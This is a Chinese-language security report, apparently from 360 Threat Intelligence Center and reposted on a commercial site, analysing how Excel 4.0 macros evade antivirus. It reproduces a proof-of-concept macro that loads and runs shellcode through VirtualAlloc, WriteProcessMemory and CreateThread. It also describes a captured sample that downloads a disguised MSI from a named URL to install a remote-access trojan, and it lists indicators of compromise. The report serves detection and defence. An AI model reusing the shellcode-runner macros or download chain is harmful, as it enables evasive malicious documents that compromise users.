利用Excel 4.0宏躲避殺軟檢測(cè)的攻擊技術(shù)分析示例,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)建站!專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、微信平臺(tái)小程序開(kāi)發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了唐河免費(fèi)建站歡迎大家使用!
背景
2018年10月18日,360威脅情報(bào)中心首次捕獲到一例利用Excel 4.0宏傳播Imminent Monitor遠(yuǎn)控木馬的在野攻擊樣本。而這離2018年10月6日國(guó)外安全廠商O(píng)utflank的安全研究人員首次公開(kāi)使用Excel 4.0宏執(zhí)行ShellCode的利用代碼僅僅過(guò)去了10余天。雖然Excel 4.0宏技術(shù)已經(jīng)發(fā)布超過(guò)20年,并且在該技術(shù)出現(xiàn)早期就被經(jīng)常用于制作宏病毒,但事實(shí)上,由于Microsoft很早就使用VBA宏(Visual Basic for Applications)來(lái)代替Excel 4.0宏技術(shù),這導(dǎo)致Excel 4.0宏并不為大眾所熟知。并且由于Excel 4.0宏存放在Excel 97 - 2003格式(.xls,復(fù)合二進(jìn)制文件格式)的Workbook OLE流中,這使得殺毒軟件解析并檢測(cè)Excel 4.0宏變得非常困難。
360威脅情報(bào)中心詳細(xì)分析了Excel 4.0宏在Excel文檔中的存儲(chǔ)方式,并通過(guò)深入研究發(fā)現(xiàn):在使用一些技巧隱藏Excel 4.0宏并配合執(zhí)行一些經(jīng)過(guò)特殊處理的ShellCode后,可以完美的躲避幾乎所有殺毒軟件的靜態(tài)和動(dòng)態(tài)查殺并執(zhí)行任意惡意代碼。由于基于Excel 4.0宏的新型利用技術(shù)已經(jīng)被公開(kāi),且已經(jīng)出現(xiàn)了利用該技術(shù)傳播遠(yuǎn)控木馬的在野利用,所以360威脅情報(bào)中心發(fā)布該分析報(bào)告并提醒預(yù)防此類攻擊。
360威脅情報(bào)中心通過(guò)深入分析Excel 4.0宏在復(fù)合二進(jìn)制文件格式中的存儲(chǔ)方式,構(gòu)造了可以執(zhí)行遠(yuǎn)程任意惡意代碼的Exploit樣本。經(jīng)測(cè)試,國(guó)內(nèi)外多款著名殺毒軟件均無(wú)法對(duì)這類樣本實(shí)現(xiàn)查殺:
Outflank的安全研究人員公開(kāi)的POC樣本在VirusTotal上查殺效果如下,截止目前未有殺軟可以查殺,如果配合一些特殊的技巧還可以躲過(guò)殺軟的動(dòng)態(tài)查殺:
下圖是Outflank的安全研究人員給出的測(cè)試Excel4.0宏的樣本內(nèi)容:
由于第一行第一列單元格名稱被設(shè)置成“Auto_Open”,所以當(dāng)打開(kāi)此表格并點(diǎn)擊了啟用宏內(nèi)容按鈕時(shí),Excel將會(huì)自動(dòng)將此表格中的內(nèi)容當(dāng)成Excel 4.0宏執(zhí)行。如果需要分析其執(zhí)行過(guò)程,可以選中第一行第一列數(shù)據(jù),右鍵選擇“執(zhí)行”菜單:
然后在彈出的對(duì)話框中“位置”處選擇本Excel文件,然后點(diǎn)擊“單步執(zhí)行”按鈕:
最后在彈出的對(duì)話框中可以看到公式內(nèi)容,以及“單步執(zhí)行”、“單步跳過(guò)”、“求值”等按鈕:
從調(diào)試過(guò)程來(lái)看,Excel首先執(zhí)行第一行第一列中的宏代碼,即=EXEC(“calc.exe”),該指令執(zhí)行完成后將會(huì)彈出計(jì)算器,同理可調(diào)試剩余兩個(gè)公式,以下是三個(gè)公式的具體含義:
公式內(nèi)容 | 功能 |
---|---|
=EXEC(“calc.exe”) | 內(nèi)部調(diào)用WinExec函數(shù)打開(kāi)計(jì)算器 |
=ALERT(“Hello, World”) | 內(nèi)部調(diào)用MessageBox函數(shù)打開(kāi)對(duì)話框 |
=HALT() | 標(biāo)識(shí)Excel 4.0宏結(jié)束,類似C語(yǔ)言return指令 |
樣本執(zhí)行結(jié)果是打開(kāi)計(jì)算器并彈出內(nèi)容為“Hello, World”的對(duì)話框:
由于Excel 4.0宏語(yǔ)言包括函數(shù)調(diào)用以及上百個(gè)內(nèi)建函數(shù),攻擊者可以編寫(xiě)子程序或調(diào)用內(nèi)建函數(shù)實(shí)現(xiàn)同VBA提供相同功能的惡意代碼,下圖是Outflank的安全研究人員提供的例子:
下表是各個(gè)宏公式具體含義:
公式內(nèi)容 | 功能 |
---|---|
=REGISTER("Kernel32", "VirtualAlloc", "JJJJJ", "VAlloc", , 1, 9) | 設(shè)置kernel32!VirtualAlloc別名為VAlloc |
=VAlloc(0,1000000,4096,64) | 調(diào)用VAlloc函數(shù)分配大小為1000000,內(nèi)存屬性為PAGE_EXECUTE_READWRITE的內(nèi)存 |
=REGISTER("Kernel32", "WriteProcessMemory", "JJJCJJ", "WProcessMemory", , 1, 9) | 設(shè)置kernel32!WirteProcessMemory別名為WProcessMemory |
=SELECT(R1C2:R999:C2,R1C2) | 選擇第一行第二列所有數(shù)據(jù) |
=SET.VALUE(R1C3, 0) | 設(shè)置第一行第三列數(shù)據(jù)為0 |
=WHILE(ACTIVE.CELL()<>"END") | 循環(huán)讀取剛剛選擇的數(shù)據(jù)直到“END”標(biāo)識(shí) |
=WProcessMemory(-1, R2C1 + R1C3 * 255,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0) | 將剛剛讀取的內(nèi)容寫(xiě)入由VAlloc分配的內(nèi)存地址 |
=SET.VALUE(R1C3, R1C3 + 1) | 將表格R1C3的值加一 |
=SELECT(, "R[1]C") | |
=NEXT() | 下一次循環(huán) |
=REGISTER("Kernel32", "CreateThread", "JJJJJJJ", "CThread", , 1, 9) | 設(shè)置kernel32!CreateThread別名為CThread |
=CThread(0, 0, R2C1, 0, 0, 0) | 調(diào)用CThread函數(shù)創(chuàng)建線程并設(shè)置線程入口為由VAlloc分配的內(nèi)存 |
=HALT() | 標(biāo)識(shí)子過(guò)程結(jié)束,類似C語(yǔ)言的return |
總體來(lái)說(shuō),該Excel 4.0宏代碼實(shí)現(xiàn)的功能邏輯是:
第1步:調(diào)用kernel32!VirtualAlloc分配一段大小為1000000的可讀可寫(xiě)可執(zhí)行內(nèi)存
第2步:循環(huán)讀取第二列的數(shù)據(jù)并調(diào)用kernel32!WriteProcessMemory函數(shù)寫(xiě)入第1步分配的內(nèi)存直到END標(biāo)志
第3步:調(diào)用kernel32!CreateThread函數(shù)創(chuàng)建線程,并設(shè)置線程入口為第1步分配的內(nèi)存
經(jīng)過(guò)這3步操作,已然實(shí)現(xiàn)利用Excel4.0宏執(zhí)行ShellCode的目的。
Execl 4.0宏樣本使用的XLS文件其實(shí)是一個(gè)MS-CFB(Microsoft Compound File Binary File)文件,而MS-CFB文件采用類似FAT文件系統(tǒng)的結(jié)構(gòu)保存數(shù)據(jù)。很多現(xiàn)有工具可以解析該結(jié)構(gòu),比如OffVis、oletools、Structured Storage eXplorer等。學(xué)習(xí)MS-CFB文件結(jié)構(gòu)推薦使用OffVis,以下是用該工具打開(kāi)的效果圖:
讀取文件內(nèi)容推薦使用StructuredStorage eXplorer,以下是用該工具打開(kāi)的效果圖:
如需手工解析請(qǐng)參考:
https://msdn.microsoft.com/en-us/library/dd953721(v=office.12).aspx。
如上圖所示,XLS文件中的公式內(nèi)容均保存到Workbook中,要想從中讀取公式就需要解析該結(jié)構(gòu)。根據(jù)Microsoft提供的MS-XLS文檔可知該Workbook結(jié)構(gòu)由一個(gè)個(gè)順序排列的record組成:
Record由三個(gè)字段構(gòu)成,分別是記錄類型、記錄大小和記錄數(shù)據(jù),以下是MS-XLS文檔所記錄:
記錄類型和記錄大小各占2個(gè)字節(jié),記錄數(shù)據(jù)由記錄大小決定,如下圖所示該記錄類型為0x0809、記錄大小為0x0010(16bytes)、記錄數(shù)據(jù)為00 06 05 00 54 38 CD 07 C1 C0 01 00 06 07 00 00
其中,記錄類型必須為Microsoft提供的RecordEnumeration類型,類型表格請(qǐng)參考https://msdn.microsoft.com/en-us/library/dd945945(v=office.12).aspx。
Recode type為133(BoundSheet8)的recode包含了表格(sheet)的類型信息,包括表格名稱、隱藏狀態(tài)和表格類型等
以下是BoundSheet8的結(jié)構(gòu):
lbPlyPos占4bytes,指定了表格BOF記錄開(kāi)始的book/workbook流偏移。
dt占1byte,指定了表格類型。
Value | Meaning |
0x00 | Worksheet or dialog sheet |
0x01 | Macro sheet(Execl 4.0宏) |
0x02 | Chart sheet |
0x06 | VBA module(VBA宏) |
stName標(biāo)識(shí)表格名稱,包含2bytes長(zhǎng)度和字符串。
以本次分析的樣本為例:
sha256:ac6f6a9463dabeb485973a0bc440e740627e3d2a0593f1e6c26dbd116d6b2e3e
下圖標(biāo)識(shí)了2個(gè)表格,其中第一個(gè)表格為可見(jiàn)、帶有Execl 4.0宏且名稱為Macro1,第二個(gè)表格屬性為可見(jiàn)、類型為Worksheet或dialog sheet且名稱為Sheet1。
由上圖可知,Execl 4.0宏表格BOF recode流偏移為0x001AF6,定位到流偏移為0x00001AF6的recode如下圖所示,其類型為2057,對(duì)應(yīng)確實(shí)是BOF記錄:
然后從BOF recode開(kāi)始遍歷,尋找記錄類型為6(Execl 4.0宏公式)的recode直到EOF recode:
記錄類型為6的recode包含了宏公式對(duì)象,其格式如下圖所示:
Cell占6字節(jié),指定公式所在單元格。
FormulaValue占8字節(jié),指定公式的值。
CellParsedFormula結(jié)構(gòu)用于指定公式。
如下圖所示,包含2個(gè)Formula,第一個(gè)由數(shù)據(jù)0F 0017 08 00 63 61 6C 63 2E 65 78 65 42 01 6E
00指定公式,第二個(gè)由數(shù)據(jù)04 00 4200 36 00指定公式。
CellParsedFormula結(jié)構(gòu)如下:
ccb占2字節(jié),指定rgce大小。
rgce指定至少一個(gè)公式數(shù)據(jù),包含函數(shù)號(hào),參數(shù)等。
rgce結(jié)構(gòu)大致如下圖所示
rgceType占2bytes,指定公式數(shù)據(jù)類型,類型請(qǐng)參考https://msdn.microsoft.com/en-us/library/dd948654(v=office.12).aspx。
下圖灰色背景16進(jìn)制數(shù)據(jù)為樣本公式數(shù)據(jù):
第一處公式數(shù)據(jù)解析結(jié)果如下:
l 0x000F表示公式數(shù)據(jù)長(zhǎng)度,即ccb。
l 0x17表示公式數(shù)據(jù)類型,即rgceType,此處0x17表示PtgStr,即后面緊跟字符串。
l 0x0008表示公式數(shù)據(jù)長(zhǎng)度,即sLen。
l calc.exe表示數(shù)據(jù),即data。
l 0x42表示公式數(shù)據(jù)類型,即rgceType,此處0x42表示PtgFuncVar。
l 0x01表示函數(shù)參數(shù)個(gè)數(shù),即NumberOfArg,此處為0x01代表僅一個(gè)參數(shù)。
l 0x006E ^ 0x0001=0表示FuncID將從Ftab表中查詢,而不是從Cetab表中查詢
PtgFuncVar定義參考https://msdn.microsoft.com/en-us/library/dd907478(v=office.12).aspx。
l 0x006E表示調(diào)用函數(shù)的ID,即FuncID,此處為0x6E,查詢Ftab表可該調(diào)用EXEC函數(shù),查詢參考https://msdn.microsoft.com/en-us/library/dd904817(v=office.12).aspx。
總體來(lái)說(shuō),第一處公式數(shù)據(jù)確定了調(diào)用EXEC函數(shù),參數(shù)為”calc.exe”。同理,第二處公式調(diào)用Ftab表中的0x36號(hào)函數(shù),查詢可知此處為調(diào)用HALT函數(shù)。
依次,則可以逐個(gè)解析Excel中的所有公式函數(shù)及相關(guān)數(shù)據(jù)。
360威脅情報(bào)中心在2018年10月18日首次捕獲到利用Excel 4.0宏傳播Imminent Monitor遠(yuǎn)控木馬的攻擊樣本,在VirusTotal上僅有一家殺毒軟件能夠查殺:
Excel 4.0惡意宏代碼隱藏在表格中,選擇取消隱藏則可看到Excel 4.0宏代碼:
該宏代碼會(huì)從:
hxxps://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf下載后綴為PDF的文件并執(zhí)行。而該文件實(shí)際為一個(gè)惡意的msi文件,通過(guò)msiexec執(zhí)行后會(huì)在%temp%目錄下解密釋放一個(gè).NET類型的可執(zhí)行文件,命名為033ventdata.exe并執(zhí)行:
該程序是經(jīng)過(guò)混淆的.NET程序,代碼主要結(jié)構(gòu)如下:
Form1中vBM=會(huì)調(diào)用gRQ=函數(shù):
gRQ=函數(shù)會(huì)首先獲取一些配置信息,包括需要連接的CC地址:linkadrum.nl,并判斷當(dāng)前進(jìn)程路徑是否為”%temp%\ProtectedModuleHost.exe",若不是則移動(dòng)當(dāng)前文件到該目錄下,并刪除當(dāng)前進(jìn)程文件:
若進(jìn)程路徑符合,則在啟動(dòng)目錄下生成對(duì)應(yīng)的LNK自啟動(dòng)文件,實(shí)現(xiàn)自啟動(dòng):
之后啟動(dòng)傀儡進(jìn)程InstallUtil.exe,注入木馬程序的主控PE文件:
注入的木馬主控PE文件也是.NET程序,運(yùn)行后會(huì)內(nèi)存加載7z的LZMA的庫(kù)DLL,接著調(diào)用lzma庫(kù)去解壓自身攜帶的木馬主控EXE加載到內(nèi)存執(zhí)行。該EXE具有強(qiáng)混淆,內(nèi)存加載執(zhí)行后會(huì)通過(guò)linkadrum.nl上線并接受指令實(shí)現(xiàn)完整的遠(yuǎn)控功能:
通過(guò)反編譯后還可以看到明顯的字符串特征:“Imminent-Monitor-Client-Watermark”
而ImminentMonitor RAT是一款商業(yè)遠(yuǎn)控軟件,官方售賣網(wǎng)站為:imminentmethods.net,基本囊括了所有遠(yuǎn)控功能:
通過(guò)大數(shù)據(jù)關(guān)聯(lián),360威脅情報(bào)中心還發(fā)現(xiàn)大量早期利用Excel 4.0宏進(jìn)行傳播的宏病毒樣本:
MD5:66bceee6748d720dc6910f8cac7991da
該類宏病毒樣本在互聯(lián)網(wǎng)至少存活了數(shù)年,樣本是被Excel 4.0宏病毒感染了的Excel文件,以其中一個(gè)樣本作為示例分析,打開(kāi)后如下圖:
右鍵點(diǎn)擊標(biāo)簽欄,會(huì)發(fā)現(xiàn)該樣本隱藏了一個(gè)表(m1)_(m2)_(m3):
取消隱藏后,會(huì)發(fā)現(xiàn)在(m1)_(m2)_(m3)表里,還隱藏了列,取消隱藏列后會(huì)發(fā)現(xiàn)如下Excel 4.0宏代碼:
其中第一列就是Excel4.0宏的代碼,其功能為在C盤創(chuàng)建一個(gè)excel.txt文件,然后將表中C1:C108區(qū)域的內(nèi)容寫(xiě)入該文件。最后再利用VBA.INSERT.FILE把該excel.txt文件加載到當(dāng)前運(yùn)行環(huán)境中。最后利用run函數(shù)調(diào)用VBA里的createcabfile函數(shù)。createcabfile函數(shù)的作用是把B列的數(shù)據(jù)寫(xiě)到C盤,然后解壓并隱藏,最后修改其Excel的模板文件,實(shí)現(xiàn)蠕蟲(chóng)傳播功能。
從近年來(lái)的高級(jí)攻擊事件分析中可以看出,由于利用Office 0day等漏洞進(jìn)行攻擊的成本較高,多數(shù)攻擊者更趨向于利用Office VBA宏執(zhí)行惡意代碼。而對(duì)于本次公開(kāi)的Excel 4.0宏利用技術(shù)則會(huì)對(duì)殺軟查殺帶來(lái)新的挑戰(zhàn)。企業(yè)用戶應(yīng)盡可能小心打開(kāi)來(lái)源不明的文檔,如有需要可通過(guò)打開(kāi)Office Excel中的:文件-選項(xiàng)-信任中心-信任中心設(shè)置-宏設(shè)置,來(lái)禁用一切宏代碼執(zhí)行:
目前,基于360威脅情報(bào)中心的威脅情報(bào)數(shù)據(jù)的全線產(chǎn)品,包括360威脅情報(bào)平臺(tái)(TIP)、天眼高級(jí)威脅檢測(cè)系統(tǒng)、360 NGSOC等,都已經(jīng)支持對(duì)此類攻擊以及對(duì)該類免殺漏洞利用樣本的精確檢測(cè)。360威脅情報(bào)中心的自研查殺引擎也可以獨(dú)家靜態(tài)提取攻擊樣本中的宏以及ShellCode利用代碼:
MD5 |
---|
f4f785cc911925b8a2dd2bd2b2d1b6ef |
URL |
https://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf |
CC |
linkadrum.nl |
看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對(duì)創(chuàng)新互聯(lián)的支持。
新聞名稱:利用Excel4.0宏躲避殺軟檢測(cè)的攻擊技術(shù)分析示例
URL分享:http://jinyejixie.com/article42/ppidec.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供服務(wù)器托管、小程序開(kāi)發(fā)、動(dòng)態(tài)網(wǎng)站、網(wǎng)站建設(shè)、網(wǎng)站制作、用戶體驗(yàn)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)